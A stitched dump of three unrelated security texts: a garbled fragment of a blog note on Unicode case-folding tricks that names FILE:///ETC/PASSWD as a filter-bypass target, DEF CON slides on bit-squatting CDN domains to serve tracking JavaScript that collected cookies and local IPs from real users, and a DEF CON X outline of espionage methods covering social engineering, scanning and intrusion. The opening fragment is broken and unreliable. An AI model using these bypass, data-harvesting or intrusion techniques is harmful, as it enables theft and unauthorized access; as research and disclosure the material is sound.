0x00 asciijava p 2014https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html ſ //S ı //I K //k p 2014javascriptjava 0x01 FILE:///ETC/PASSWD java javabean org.apache.commons.beanutils.BeanUtils formField person Sex ſ s 0x02 javabean	pdf
Investigating the Practicality and Cost of Abusing Memory Errors with DNS Project Bitﬂ1p by Luke Young $ whoami Undergraduate Student - Sophomore Founder of Hydrant Labs LLC This presentation is based upon research conducted as a employee of Hydrant Labs LLC and was not supported or authorized by any previous, current, or future employers with the exception of Hydrant Labs LLC. Email: [email protected] LinkedIn: https://www.linkedin.com/in/innoying Twitter: @innoying Agenda What is a bitﬂip and their history What is bit-squatting and how it works Project Bitﬂ1p’s use of bit-squatting Code and partial data release Q&A What is a bitﬂip? or 1 0 0 1 What causes a bitﬂip? Heat Electrical Problems Radioactive Contamination Cosmic Rays History of bitﬂips “Using Memory Errors to Attack a Virtual Machine” - Princeton University in 2003 Rowhammer “Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors” - Carnegie Mellon University in 2014 “Exploiting the DRAM rowhammer bug to gain kernel privileges” - Google’s Project Zero What is bit-squatting? Named by Artem Dinaburg Purchasing of domain names that are one bit away from the legitimate name. c n n . c o m 01100011 01101110 01101110 00101110 01100011 01101111 01101101 c o n . c o m 01100011 01101111 01101110 00101110 01100011 01101111 01101101 Example of bit-squatting Generating valid bit-squats e 01100101 u m a g d 01100101 01101101 01100001 01100111 01100100 www.defcon.org Generating valid bit-squats www.defcon.org n 01101110 . 00101110 o 01101111 / 00101111 $ bf-lookup www.defcon.org vww.defcon.org uww.defcon.org sww.defcon.org gww.defcon.org 7ww.defcon.org wvw.defcon.org wuw.defcon.org wsw.defcon.org wgw.defcon.org w7w.defcon.org wwv.defcon.org wwu.defcon.org wws.defcon.org wwg.defcon.org ww7.defcon.org wwwndefcon.org www.eefcon.org www.fefcon.org www.lefcon.org www.tefcon.org www.ddfcon.org www.dgfcon.org www.dafcon.org www.dmfcon.org www.dufcon.org www.degcon.org www.dedcon.org www.debcon.org www.dencon.org www.devcon.org www.defbon.org www.defaon.org www.defgon.org www.defkon.org www.defson.org www.defcnn.org www.defcmn.org www.defckn.org www.defcgn.org www.defcoo.org www.defcol.org www.defcoj.org www.defcof.org Previous bit-squatting Artem Dinaburg - DEF CON 19 Jaeson Schultz - DEF CON 21 Robert Stucke - DEF CON 21 Project Bitﬂ1p Detect and analyze the frequency of bit ﬂips for an average internet user through the use of bit-squatting Browser DNS Resolver DNS Root DNS Question (A) code.jquery.com DNS Question (A) code.jquery.com Browser DNS Resolver DNS Root DNS Question (A) code.jquesy.com DNS Question (A) code.jquery.com Browser DNS Resolver DNS Root DNS Answer (NS) ns1.bitﬂ1p.com ns2.bitﬂ1p.com DNS Answer (NS) ns1.bitﬂ1p.com ns2.bitﬂ1p.com DNS Question (NS) jquesy.com DNS Question (A) code.jquery.com DNS Question (A) code.jquesy.com DNS Question (NS) jquesy.com Browser DNS Resolver Project Bitﬂ1p DNS A (NS) ns1.bitﬂ1p.com DNS Answer (A) code.jquery.com 168.235.68.44 DNS Answer (A) code.jquesy.com 168.235.68.45 DNS Answer (A) code.jquery.com 168.235.68.44 DNS Answer (A) code.jquesy.com 168.235.68.45 DNS Question (A) code.jquery.com DNS Question (A) code.jquesy.com DNS Question (A) code.jquesy.com DNS Q (NS) jquesy.com Browser DNS Resolver Project Bitﬂ1p DNS A (NS) ns1.bitﬂ1p.com DNS Answer (A) code.jquery.com 168.235.68.44 DNS Answer (A) code.jquery.com 168.235.68.44 DNS Question (A) code.jquery.com DNS Question (A) code.jquesy.com DNS Q (A) code.jquesy.com DNS A (A) code.jquesy.com DNS A (A) code.jquery.com DNS Q (NS) jquesy.com Browser DNS Resolver Project Bitﬂ1p DNS A (NS) ns1.bitﬂ1p.com HTTP GET /jquery.js Host: jquery.com HTTP 301 Moved {uuid}.https.bitlf1p.com/ jquery.js HTTP 301 Moved {uuid}.https.bitlf1p.com/ jquery.js DNS Q (A) code.jquesy.com HTTP GET /jquery.js Host: code.jquery.com DNS Q (A) code.jquesy.com DNS A (A) code.jquery.com DNS Q (A) code.jquery.com DNS A (A) code.jquery.com DNS A (A) code.jquesy.com DNS A (A) code.jquery.com DNS Q (NS) jquesy.com Browser DNS Resolver Project Bitﬂ1p DNS A (NS) ns1.bitﬂ1p.com HTTP GET /jquery.js HTTP GET /jquery.js HTTP 301 $.https.bitﬂ1p.com HTTP 301 $.https.bitﬂ1p.com DNS Question (A) $.https.bitﬂ1p.com DNS Question (A) $.https.bitﬂ1p.com DNS Question (A) $.https.bitﬂ1p.com DNS Answer (A) $.https.bitﬂ1p.com 168.235.68.44 DNS Answer (A) $.https.bitﬂ1p.com 168.235.68.44 DNS Answer (A) $.https.bitﬂ1p.com 168.235.68.44 DNS Q (A) code.jquesy.com DNS Q (A) code.jquesy.com DNS A (A) code.jquery.com DNS Q (A) code.jquery.com DNS A (A) code.jquery.com DNS A (A) code.jquesy.com DNS A (A) code.jquery.com DNS Q (NS) jquesy.com Browser DNS Resolver Project Bitﬂ1p DNS A (NS) ns1.bitﬂ1p.com HTTP GET /jquery.js HTTP GET /jquery.js HTTP 301 $.https.bitﬂ1p.com HTTP 301 $.https.bitﬂ1p.com DNS Q (A) $.https.bitﬂ1p.com DNS Q (A) $.https.bitﬂ1p.com DNS Q (A) $.https.bitﬂ1p.com DNS A (A) $.https.bitﬂ1p.com DNS A (A) $.https.bitﬂ1p.com DNS A (A) $.https.bitﬂ1p.com HTTP GET /jquery.js Host: $.https.bitﬂ1p.com HTTP GET /jquery.js Host: $.https.bitﬂ1p.com DNS Q (A) code.jquesy.com DNS Q (A) code.jquesy.com DNS A (A) code.jquery.com DNS Q (A) code.jquery.com DNS A (A) code.jquery.com DNS A (A) code.jquesy.com DNS A (A) code.jquery.com DNS Q (NS) jquesy.com Browser DNS Resolver Project Bitﬂ1p DNS A (NS) ns1.bitﬂ1p.com HTTP GET /jquery.js HTTP GET /jquery.js HTTP 301 $.https.bitﬂ1p.com HTTP 301 $.https.bitﬂ1p.com DNS Q (A) $.https.bitﬂ1p.com DNS Q (A) $.https.bitﬂ1p.com DNS Q (A) $.https.bitﬂ1p.com DNS A (A) $.https.bitﬂ1p.com DNS A (A) $.https.bitﬂ1p.com DNS A (A) $.https.bitﬂ1p.com HTTP GET /jquery.js HTTP GET /jquery.js HTTP 200 /tracking.js HTTP 200 /tracking.js DNS Q (A) code.jquesy.com DNS Q (A) code.jquesy.com DNS A (A) code.jquery.com DNS Q (A) code.jquery.com DNS A (A) code.jquery.com DNS A (A) code.jquesy.com DNS A (A) code.jquery.com DNS Q (NS) jquesy.com Browser DNS Resolver Project Bitﬂ1p DNS A (NS) ns1.bitﬂ1p.com HTTP GET /jquery.js HTTP GET /jquery.js HTTP 301 $.https.bitﬂ1p.com HTTP 301 $.https.bitﬂ1p.com DNS Q (A) $.https.bitﬂ1p.com DNS Q (A) $.https.bitﬂ1p.com DNS Q (A) $.https.bitﬂ1p.com DNS A (A) $.https.bitﬂ1p.com DNS A (A) $.https.bitﬂ1p.com DNS A (A) $.https.bitﬂ1p.com HTTP GET /jquery.js HTTP GET /jquery.js HTTP 200 /tracking.js HTTP 200 /tracking.js Malicious JS Execution DNS Q (A) code.jquesy.com DNS Q (A) code.jquesy.com DNS A (A) code.jquery.com DNS Q (A) code.jquery.com DNS A (A) code.jquery.com DNS A (A) code.jquesy.com DNS A (A) code.jquery.com DNS Q (NS) jquesy.com > bf-dns Golang DNS server designed to answer bit squatted domain queries > bf-www Lighttpd HTTP conﬁguration and PHP scripts Tracking JavaScript Installed plugins, user agent, timezone, langauge, referer, document title, screen size/resolution, current URL, doNotTrack value Installed fonts via ﬂash Local IPs via WebRTC sdp Cookie names and SHA256 hashed value Selecting a host (Ramnode) Multiple IPv4 addresses IPv6 support Smaller High and cheap bandwidth Hosted on 2GB RAM, 2 IPv4, a /64 IPv6 addresses, 80GB SSD cached, 3TB bandwidth a month Price/Month: $15.50 USD Selecting domains Captured trafﬁc for a day Purchased ﬂips of top (interesting) domains googleusercontent.com Chosen because it serves images for Google Long name, increases probability of a ﬂip googleusercontent.com coogleusercontent.com eoogleusercontent.com ggogleusercontent.com gkogleusercontent.com gmogleusercontent.com gnogleusercontent.com goggleusercontent.com gokgleusercontent.com gomgleusercontent.com gongleusercontent.com goocleusercontent.com gooeleusercontent.com googdeusercontent.com googheusercontent.com googlausercontent.com googldusercontent.com google5sercontent.com googleqsercontent.com googletsercontent.com googleu3ercontent.com googleucercontent.com googleuqercontent.com googleurercontent.com googleusdrcontent.com googleuse2content.com googleusepcontent.com googleuseraontent.com googleuserbontent.com googleusercgntent.com googleuserckntent.com googleusercmntent.com googleusercnntent.com googleusercoftent.com googleusercojtent.com googleusercoltent.com googleusercon4ent.com googleusercondent.com googleuserconpent.com googleusercontdnt.com googleuserconteft.com googleusercontejt.com googleusercontelt.com googleuserconten4.com googleusercontend.com googleusercontenp.com googleusercontenu.com googleusercontenv.com googleuserconteot.com googleusercontgnt.com googleusercontmnt.com googleusercontunt.com googleuserconuent.com googleuserconvent.com googleusergontent.com googleuserkontent.com googleusersontent.com googleusescontent.com googleusevcontent.com googleusezcontent.com googleusgrcontent.com googleusmrcontent.com googleusurcontent.com googleuwercontent.com googlewsercontent.com googlgusercontent.com googlmusercontent.com googluusercontent.com googmeusercontent.com googneusercontent.com goooleusercontent.com goowleusercontent.com woogleusercontent.com Panic… More panic… mail-attachment.googleusercontent.com - Mail Attachments oauth.googleusercontent.com - OAuth authentication themes.googleusercontent.com - Google fonts webcache.googleusercontent.com - Google cached pages translate.googleusercontent.com - Google translated webpages cloudfront.net CDN for Amazon CloudFront Commonly used to serve JS, CSS, and media 43 possible bit-squats, 4 already registered Registered 39 of them cloudfront.net aloudfront.net bloudfront.net cdoudfront.net clgudfront.net clkudfront.net clmudfront.net clnudfront.net clo5dfront.net cloqdfront.net choudfront.net clotdfront.net cloudbront.net cloudf2ont.net cloudfbont.net cloudfpont.net cloudfrgnt.net cloudfrknt.net cloudfrmnt.net cloudfrnnt.net cloudfroft.net cloudfrojt.net cloudfrolt.net cloudfron4.net cloudfrond.net cloudfronp.net cloudfronu.net cloudfronv.net cloudfroot.net cloudfsont.net cloudfvont.net cloudfzont.net cloudnront.net cloudvront.net clouefront.net cloulfront.net cmoudfront.net cnoudfront.net kloudfront.net sloudfront.net amazonaws.com Serves pretty much all AWS services as subdomains excluding CloudFront. Includes Amazon S3, ELB, and EC2 38 possible bit-squats, 37 were registered 33 were already registered by Amazon! amazonass.com s3namazonaws.com compute-1namazonaws.com compute-2namazonaws.com elbnamazonaws.com doubleclick.net Serves Google Ads Mainly via JavaScript 45 possible bit-squats, 19 already registered doubleclick.net dgubleclick.net dkubleclick.net dnubleclick.net dmubleclick.net doqbleclick.net dotbleclick.net doublecliak.net doubleblick.net doubleclibk.net doublecligk.net doubleclicc.net doubleclikk.net doubleclisk.net doubleclmck.net doublecnick.net doublecmick.net doublmclick.net doubleglick.net doubluclick.net doubmeclick.net doubneclick.net doucleclick.net douﬂeclick.net doujleclick.net dowbleclick.net dourleclick.net apple.com Most apple services are served via subdomains 21 possible bit-squats, 1 available: applg.com icloud.com iOS/OSX devices check-in regularly Receives emails for icloud.com accounts 25 possible bit-squats, 17 registered already icdoud.com, iclgud.com, iclkud.com, iclmud.com, iclnud.com, icloqd.com, iclotd.com, icnoud.com jquery.com JavaScript compatibility script Used by over 70% of the top 10,000 sites 26 possible bit-squats, 9 already registered jquery.com jauery.com jqqery.com jpuery.com jqtery.com jqueby.com jquepy.com jquerq.com jquerx.com jquesy.com jquevy.com jqugry.com jquezy.com jqumry.com jsuery.com juuery.com disqus.com Blog comment hosting service Roughly 750,000 thousand blogs/web-sites use it 27 possible bit-squats, 3 already registered disqus.com dhsqus.com di3qus.com diqqus.com dirqus.com dis1us.com disaus.com disqqs.com disq5s.com disqts.com disqu3.com disquc.com disquq.com disqur.com disquw.com disqws.com disuus.com diwqus.com disyus.com dksqus.com dmsqus.com eisqus.com dysqus.com tisqus.com lisqus.com google-analytics.com The most widely used website statistics service 63 possible bit-squats, 53 already registered googlm-analytics.com, googlg-analytics.com, googne- analytics.com, gooole-analytics.com, ggogle- analytics.com, gmogle-analytics.com, gomgle- analytics.com, gooele-analytics.com, googde- analytics.com, google-alalytics.com sfdcstatic.com CDN for SalesForce SalesForce is one of the largest cloud computing companies in the world 42 possible bit-squats sfdcstatic.com 3fdcstatic.com cfdcstatic.com qfdcstatic.com rfdcstatic.com sbdcstatic.com sfdbstatic.com sfdcrtatic.com sfdcqtatic.com sfdastatic.com sfdcctatic.com sfdc3tatic.com sfdcsdatic.com sfdcs4atic.com sfdcsta4ic.com sfdcstadic.com sfdcstatia.com sfdcspatic.com sfdcstathc.com sfdcstapic.com sfdcstatib.com sfdcstatis.com sfdcstavic.com sfdcstatyc.com sfdcstauic.com sfdcstatik.com sfdcstatig.com sfdcstatkc.com sfdcstatmc.com sfdcstctic.com sfdcstqtic.com sfdcsvatic.com sfdcsuatic.com sfdcwtatic.com sfdkstatic.com sfdgstatic.com sfecstatic.com sfdsstatic.com sﬂcstatic.com sftcstatic.com sndcstatic.com svdcstatic.com wfdcstatic.com aspnetcdn.com Microsoft’s Ajax Content Delivery Network Serves Microsoft sites, and many jQuery plugins 39 possible bit-squats, 1 already registered aspnetcdn.com a3pnetcdn.com acpnetcdn.com arpnetcdn.com aqpnetcdn.com as0netcdn.com aspfetcdn.com aspjetcdn.com aspndtcdn.com aspletcdn.com aspne4cdn.com aspnedcdn.com aspnepcdn.com aspnetadn.com aspnetbdn.com aspnetcdf.com aspnetcdj.com aspnetcdl.com aspnetcdo.com aspnetcen.com aspnetcln.com aspnetctn.com aspnetgdn.com aspnetkdn.com aspnetsdn.com aspneucdn.com aspnevcdn.com aspngtcdn.com aspoetcdn.com aspnmtcdn.com asqnetcdn.com asrnetcdn.com astnetcdn.com awpnetcdn.com asxnetcdn.com espnetcdn.com cspnetcdn.com qspnetcdn.com ispnetcdn.com googleapis.com Google’s JS Content Delivery Network Serves Angular JS, Prototype, etc 39 possible bit-squats, 27 registered googleapis.com coogleapis.com eoogleapis.com ggogleapis.com gkogleapis.com gmogleapis.com gnogleapis.com goggleapis.com gokgleapis.com gomgleapis.com goocleapis.com gooeleapis.com googdeapis.com googheapis.com googldapis.com googlgapis.com googlmapis.com googmeapis.com googneapis.com goowleapis.com goooleapis.com ooogleapis.com woogleapis.com gstatic.com Google static content hosting Serves pages like Chrome’s connectivity test Also purchased by Artem Dinaburg and Robert Stucke 30 possible bit-squats, 11 registered gstatic.com gs4atic.com gsdatic.com gspatic.com gsta4ic.com gstadic.com gstapic.com gstathc.com gstatia.com gstatib.com gstatig.com gstatkc.com gstatmc.com gstatyc.com gstavic.com gstauic.com gstctic.com gstqtic.com gsuatic.com gsvatic.com fbcdn.net Facebook’s CDN 19 possible bit-squats, 3 available fbadn.net, fbcdj.net, frcdn.net ytimg.com YouTube’s CDN 22 possible bit-squats, 3 available ytieg.com, yti-g.com, y4img.com twimg.com Twitter’s CDN 23 possible bit-squats, 9 available 4wimg.com, t7img.com, twhmg.com, twi-g.com, twimw.com, twilg.com, twkmg.com, twmmg.com, uwimg.com Purchasing 337 Domains on a college budget Coupons! 1&1 Final statistics 89 from GoDaddy 255 from 1&1 Average cost per domain: $1.62 Total: $545.44 Purchasing SSL Certiﬁcates Wildcard SSL Certiﬁcates $595 per wildcard certiﬁcate from DigiCert $595 * 337 domains = $200,000+ StartSSL 60$ for Class 2 Identity/Organization veriﬁcation Issued 103 wildcard certiﬁcates 17 ﬂagged for manual review, all approved Certiﬁcates Issued .aloudfront.net .amazonass.com .applg.com .bloudfront.net .cdoudfront.net .choudfront.net .clgudfront.net .clkudfront.net .clmudfront.net .clnudfront.net .clo5dfront.net .cloqdfront.net .clotdfront.net .cloudbront.net .cloudf2ont.net .cloudfbont.net .cloudfpont.net .cloudfrgnt.net .cloudfrknt.net .cloudfrmnt.net .cloudfrnnt.net .cloudfroft.net .cloudfrojt.net .cloudfrolt.net .cloudfron4.net .cloudfrond.net .cloudfronp.net .cloudfronu.net .cloudfronv.net .cloudfroot.net .cloudfsont.net .cloudfvont.net .cloudfzont.net .cloudnront.net .cloudvront.net .clouefront.net .cloulfront.net .cmoudfront.net .cnoudfront.net .coogleapis.com .dgubleclick.net .dhsqus.com .dkubleclick.net .doubleblick.net .doublecliak.net .doubleclibk.net .doubleclicc.net .doublecligk.net .doubleclikk.net .doubleclisk.net .doubleclmck.net .doublecmick.net .doublecnick.net .doubleglick.net .eoogleapis.com .ggogle-analytics.com .ggogleapis.com .gkogleapis.com .gmogle-analytics.com .gmogleapis.com .goggleapis.com .gokgleapis.com .gomgle-analytics.com .gomgleapis.com .goocleapis.com .gooele-analytics.com .gooeleapis.com .googde-analytics.com .googlm-analytics.com .googne-analytics.com .gooole-analytics.com .goooleapis.com .goowleapis.com .gs4atic.com .gsdatic.com .gspatic.com .gsta4ic.com .gstadic.com .gstapic.com .gstathc.com .gstatia.com .gstatib.com .gstatig.com .gstatkc.com .gstatmc.com .gstatyc.com .gstauic.com .gstavic.com .gstctic.com .gstqtic.com .gsuatic.com .gsvatic.com .icdoud.com .iclgud.com .iclkud.com .iclmud.com .iclnud.com .icloqd.com .iclotd.com .icnoud.com .jsuery.com .kloudfront.net .sloudfront.net Login Revoked! “I'm sorry, but for high-proﬁle names only the name owner should be able to get certiﬁcates for it and those resembling them closely never issued.” “Most certiﬁcates really shouldn't have been issued to start with.” StartCom Response Excerpt from StartCom Certiﬁcate Policy “The StartCom Certiﬁcation Authority performs additional sanity and fraud prevention checks in order to limit accidental issuing of certiﬁcates whose domain names might be misleading and/or might be used to perform an act of fraud, identity theft or infringement of trademarks. For example domain names resembling well known brands and names like PAYPA1.COM and MICR0S0FT.COM, or when well known brands are part of the requested hostnames like FACEBOOK.DOMAIN.COM or WWW.GOOGLEME.COM.” Potential problem domains .eoogleapis.com .ggogleapis.com .gkogleapis.com .gmogleapis.com .goggleapis.com .gokgleapis.com .gomgleapis.com .goocleapis.com .gooeleapis.com .goooleapis.com .goowleapis.com .ggogle-analytics.com .gmogle-analytics.com .gomgle-analytics.com .gooele-analytics.com .googde-analytics.com .googlm-analytics.com .googne-analytics.com .gooole-analytics.com Timeline 7/29/14 - Identity/Organization veriﬁcation completed 8/14/14 - Certiﬁcate requests started 8/25/14 - Login certiﬁcate revoked 10/16/14 - Certiﬁcates revoked Mass revocation Remaining certiﬁcates .applg.com .jsuery.com .dhsqus.com .gsta4ic.com .gstatig.com .gs4atic.com .gsdatic.com .gsuatic.com .gstqtic.com .gstapic.com .gstadic.com .gstatmc.com .gstatkc.com .gstatia.com “Everything we haven't revoked so far was considered not so problematic and hence we left them to expire naturally.” .gstatib.com .gspatic.com .gstavic.com .gsvatic.com .gstctic.com .gstauic.com .gstatyc.com .gstathc.com The Future EFF’s Let’s Encrypt CA Large vendors Did anybody else even notice? Getting noticed “One example would be in the gstatic.com domain that was used in the demonstrations and presentations:  gstatic.com – October 2013 – 26 squats unregistered  gstatic.com – October 2014 – 0 squats unregistered  This reduction in availability was observed in other domains too, interestingly most of the gstatic squats and some of the other domains appear to have been registered by the same individual with the name servers at bitﬂ1p.com so at least some one is having fun :)” - x8x.net Uh oh… Uh oh… Uh oh… Payment Issues (Stripe) Wells Fargo says they’re approving the transaction “I had a look at that charge and we have reason to believe that that card has been associated with fraudulent activity.” “We are indeed blocking it on our end due to a level of risk on this card that we're not willing to take. I know this a very vague reason, but for security purposes I'm limited in how much information I am able to give out.” The Data DNS Queries DNS Queries Over 1 million queries every 24 hours 4.8% result in TCP connections 85% of initiated SSL connections complete the handshake and issue a HTTP request HTTP Access Logs 2.4 million requests Repeat users remain cached for an average of 4.33 requests Language Other 4% ja-jp 1% ja 1% en-us 4% Unknown 5% zh-cn 83% pt-br 2% ru-ru 2% Other 8% en-us 14% Unknown 20% zh-cn 54% Screen resolution 768x1024 6% 1920x1080 8% 1024x768 9% 1600x900 10% 1440x900 12% 1366x768 23% Other 32% IPv6 adoption 1.67% queries delivered via IPv6 1.17% of address record queries for AAAA (IPv6) Browser Usage Sogou Explorer 9% Android 3% Safari 6% Firefox 6% Other 10% IE 19% Chrome 47% IE 17% Android 13% Opera 3% Safari 22% Other 6% Firefox 12% Chrome 28% OS Usage Other 10% Mac OS X 2% Win 8 5% Win Vista 3% iOS 5% Android 5% Win XP 27% Win 7 43% Other 7% Mac OS X 5% Win 8 7% Win Vista 2% iOS 37% Android 13% Win XP 5% Win 7 25% Cookies 240,000 cookie names and hashed value pairs Top cookies from: Google analytics Baidu weather.com Top Google Searches wood birthday gifts for wife welding gun mig sew in weave mariah carey nude golf 1.4 tsi Clarence porn Local IP Addresses 158,834 IP Addresses collected 12% have non private IP addresses Local IP Addresses 192.168.1.102 192.168.1.103 192.168.1.2 Other 192.168.1.101 192.168.1.100 SMTP Trafﬁc AS13414 (Twitter Inc.) 38.44% of DNS trafﬁc 199.16.156.0/22  199.59.148.0/22 AS13414 SMTP Trafﬁc 2.3% - MX, 93.7% - A record queries Roughly 390 SMTP connection attempts per day Twitter Response “After some discussion, it looks like we're going to try to restrict outbound trafﬁc from our network to bit ﬂipped domains. This should address these speciﬁc problems you outlined without having to own the domains or worrying about who does.” > bf-splunk Sourcetypes for bf-dns, lighttpd output logs Tools for analysis Various pre-conﬁgured indexes, etc Remediation Buy your bit ﬂips. Buy your bit ﬂips. Buy your bit ﬂips. Use ECC Memory and setup an RPZ for common ﬂips Vendor Responses Salesforce 42 domains Response time under 2 hours Transfer initiated in under 24 Apple 9 domains Timeline: 6/15 - Reported 6/15 - Vendor initial ACK 6/17 - Domains unlocked and transfer process initiated Amazon AWS 44 domains Timeline: 6/15 - Reported 6/15 - Vendor initial ACK 6/18, 6/19, 6/23 - Vendor requests conference call to discuss issue, further correspondence planning 6/25 - Conference Call 6/30 - Domains unlocked and transfer process initiated Facebook 3 domains Timeline: 6/15 - Reported 6/15 - Vendor initial ACK 7/1 - Vendor requests transfer codes 7/6 - Domains unlocked and transfer codes sent Microsoft 38 domains Timeline: 6/15 - Reported 6/15 - Vendor initial ACK 6/29 - Attempted vendor contact 7/6 - Attempted vendor contact 7/16 - Attempted vendor contact 7/26 - Attempted vendor contact 7/30 - Attempted vendor contact 8/4 - Domains unlocked and transfer process initiated Twitter 9 domains Timeline: 6/15 - Reported 6/17 - Vendor declines domain transfer Twitter Response “We don't actively try to prevent bit ﬂipping attacks by registering all the nearby domain names due to the fact these attacks are relatively rare and that we own a lot of domains and so this would be quite an undertaking. So we are not interested in acquiring the domains you have, please just maintain possession of them until they expire.” Google 152 domains Timeline: 6/15 - Reported 6/15 - Vendor initial ACK 6/29 - Attempted vendor contact 7/4 - Attempted vendor contact 7/6 - Vendor declines domain transfer Google Response “Our domains team let us know they won't be trying to grab these, so you can just let them expire… The sheer number of bit-ﬂipping possibilities makes this an unbounded game of whack-a-mole.” Data Release Complete JSON DNS logs src, dst, port, qName, qType, qClass, type Anonymized Webserver logs hashedSrc, dst, accept, acceptEncoding, acceptLanguage, httpHost, method, userAgent, protocol, bytesIn, bytesOut Anonymized SSL hashedSrc, dst, port, version, cipher, curve, server_name, session_id Anonymized SMTP logs hashedSrc, dst, port, helo Project Bitﬂ1p - Luke Young Email: [email protected] LinkedIn: https://www.linkedin.com/in/innoying Website (with Code & Data Dumps): www.bitﬂ1p.com	pdf
Intelligence Gathering DefCon X Vic Vandal [email protected] NECESSARY DISCLAIMER: This talk discusses various illegal techniques and concepts. The author does not endorse nor does he condone the execution of any of those illegal activities discussed. ESPECIALLY the Information Warfare concepts. Types of Intelligence Gathering  Competitive Intelligence  Corporate Espionage  Information Warfare  Personal Investigation (This talk is NOT about going to school to “become intelligent”, in case anyone expected that to be covered.) Competitive Intelligence  Relies solely on legal and ethical means to gather data, piece it together to form information, and analyze it to create intelligence for the use of decision-makers  Over 95 percent of the information companies require to compete successfully is available in the public domain  Helps organizations better understand their competitive environment and make sound business decisions Corporate Espionage Corporate Espionage  “Espionage” - the collection, collation, and analysis of illicitly gained information  “Corporate Espionage” - the theft of trade secrets for economic gain  “Trade Secret” - property right which has value by providing an advantage in business over competitors who do not know the secret  International Trade Commission estimates current annual losses to U.S. industries due to corporate espionage to be over $70 billion How It’s Generally Done  Over 70% of capers involve “Inside Jobs” – Disgruntled employees – Bribes from a competitor – Cleaning crews – Industrial mole  False Pretenses – Companies hire a competitors employee for their trade knowledge – Applicant interviews only to pump potential employer for information, or vice versa – Spy pretends to be a student, journalist, or venture capitalist Who’s Doing It?  Foreign governments and corporations – Russia, China, South Korea, India, Pakistan, Germany, Israel, Argentina, Taiwan, Indonesia, France, etc. – FBI indicates that 57 of 173 nations are running operations to actively target U.S. corporations – U.S. “officially” does not participate…(COUGH)  Employees  Professional industrial spies  Members of the Society for Competitive Intelligence Professionals  Business consultants (some in this room?)  H4x0rs (also some in this room?) What’s Useful to an Attacker?  Structure – organization hierarchical structures, departmental diagrams, etc.  Infrastructure – phone system network diagrams, enterprise IT network diagrams, IT groups, support groups, utilities providers (phone/power/water etc),  People – Phone directories, e-mail address books, who’s who directories etc, visitor instructions, new starter induction packs (i.e., everything you need to know to get around!).  Geography – super-imposed on hierarchical structures – where is the IT department, where are the servers, etc.  Security Enforcing Functions – physical access control, password policy, hardware re-use, firewall / IDS use, e-mail policies, phone-use policies, etc.  Networks – detailed network topologies IP & phone – including firewall, router, and proxy positions.  Software/hardware – what machines are used, operating systems (service pack & hot fix /patch levels), server software, host software, database software, web server server software, and administration policies. The Basic Methodology  Initial Public Intelligence  Social Engineering  Physical Security Analysis  Network Analysis  Information System Attacks Initial Public Intelligence  Meta-Search engines (DogPile, WebFerret), used initially and as more collaborative data is gathered  Company searches - the SEC Edgar database (www.sec.gov/edgarhp.htm) - all information is free  Gathering names (for later identity spoofing, social engineering, tracing)  Gathering phone numbers (for later contacts or war-dialing)  Finding IT suppliers (to help determine network components)  Check newsgroups, web boards, and industry feedback sites for company info (may yield LOTS of information) Social Engineering  Generally done remotely - requires a degree of deception, masquerade, and motivation  Examples are: – Gain access privileges by querying administrative personnel over communications medium such as telephone, fax, e-mail, postal mail chat, or bulletin boards from a fraudulent “privileged” position (manager, auditor, law enforcement, etc.) – Gain access privileges by querying administrative or help desk personnel over the same mediums as above from a fraudulent “non- privileged” position (confused end user, new contractor, etc.) – Invite inside personnel out to a “social business function”, to probe them to disclose information outside of the office (over drinks, strippers, ecstasy, etc.) Physical Security Analysis  Identify monitored access points, coverage, and routes (both by physical guard and/or electronic means)  Identify alarm equipment, triggers, response personnel and procedures  Identify access privileges through physical access points (side/back doors, under/over fences, windows, roof, weak locks, etc.)  Identify weaknesses in the location (line-of-sight visible/audible areas into the target)  Identify supply delivery personnel/organizations  Identify trash disposal or recycling methods Network Analysis  Network Survey – Derive domain name (company name, web presence, etc.) – Query ARIN for IP blocks and sub-domains – “dig” domain for DNS servers – Zone transfer all available DNS domains and sub-domains – Check public web server source for server links – Send e-mail and check headers of bounced mails or read receipts – Search P2P services for organization connections Network Analysis (cont.)  Network Survey – War-dial to locate modem-enabled systems and fax machines – Test for default authentication, easily guessed password, and remote maintenance accounts – Test for exploitable PBX access – Attempt PIN-hacking of voice-mail boxes Network Analysis (cont.)  IP/Port Scanning – Use broadcast ICMP echo to determine existence of systems – Try DNS connect attempts on all hosts – Use “firewalking” to verify ports open through any firewall – Use nbtstat and “net use” (null session) scans for Netbios (Windows) hosts (port 137) – Send packets with TCP source port 80 and ACK set on ports 3100-3150, 10001-10050, 33500-33550, 35000-35050 on all hosts – Send TCP fragments in reverse order with FIN, NULL, and XMAS scans on ports 21, 22, 23, 25, 80, and 443 on all hosts Network Analysis (cont.)  IP/Port Scanning (cont.) – Send TCP SYN packets on ports 21, 22, 23, 25, 80, and 443 on all hosts – Send TCP fragments in reverse order to any list of popular ports that may be subject to a variety of exploits – Use UDP scans on any list of popular ports that may be subject to a variety of exploits – Use banner-grabbing and other fingerprinting techniques to identify O/S’s & apps – Infer services/protocols/apps via open ports found Network Analysis (cont.)  Retrieve useful information from hidden field variables of HTML forms and from HTML comments  Retrieve useful information from application banners, usage instructions, help messages, error messages  Retrieve useful information stored in cookies  Retrieve useful information from cache or serialized objects  Determine wireless access points (wireless sniffer, aeropeek, etc.) Information System Attacks  Use publicly known exploits against identified apps via fingerprinting and port-scanning  Attack via default system backdoors (O/S, DB, apps)  Use dictionary or brute-force password attacks  Gather PDF’s, Word docs, spreadsheets and run password crackers on encrypted or protected docs  Capture and replay authentication credentials  Attack printers to re-route printouts Information System Attacks (cont.)  Use directory traversal or direct instruction attacks on web apps  Use long character-strings to find buffer overflows  Use cross-side scripting attacks against web apps  Execute remote commands via server-side includes  Manipulate session cookies, hidden fields, or referrer/host fields to attack server apps  Exploit trusted system relationships Can Organizations Stop It?  Identify sensitive information, identify the threats, and provide adequate safeguards (data labeling, access control, encryption, shredding, network access controls, IDS, etc.)  Don’t ignore security warnings, best practices, or expert advice  Educate employees about protecting confidential information  Fight for an adequate security budget  Have employees, vendors, and partners sign non-disclosure agreements  Routinely test all security areas (physical, logical, social, etc.)  Sweep for surveillance equipment Information Warfare Information Warfare  “Information Warfare” – state-sponsored information and electronically delivered actions taken to achieve information superiority in support of national military strategy  Meant to affect enemy information and information systems while protecting our information and information systems  Includes electronic warfare, surveillance systems, precision strike, and advanced battlefield management Who’s Doing It?  Governments – China, South Korea, Russia, India, Pakistan, Germany, Israel, Argentina, Taiwan, Indonesia, France, U.S., Al Qaeda, etc.  Planted employees  Ex-Cold War spies  Former intelligence employees  Professional hackers  PhD’s in Computer Science - with millions in 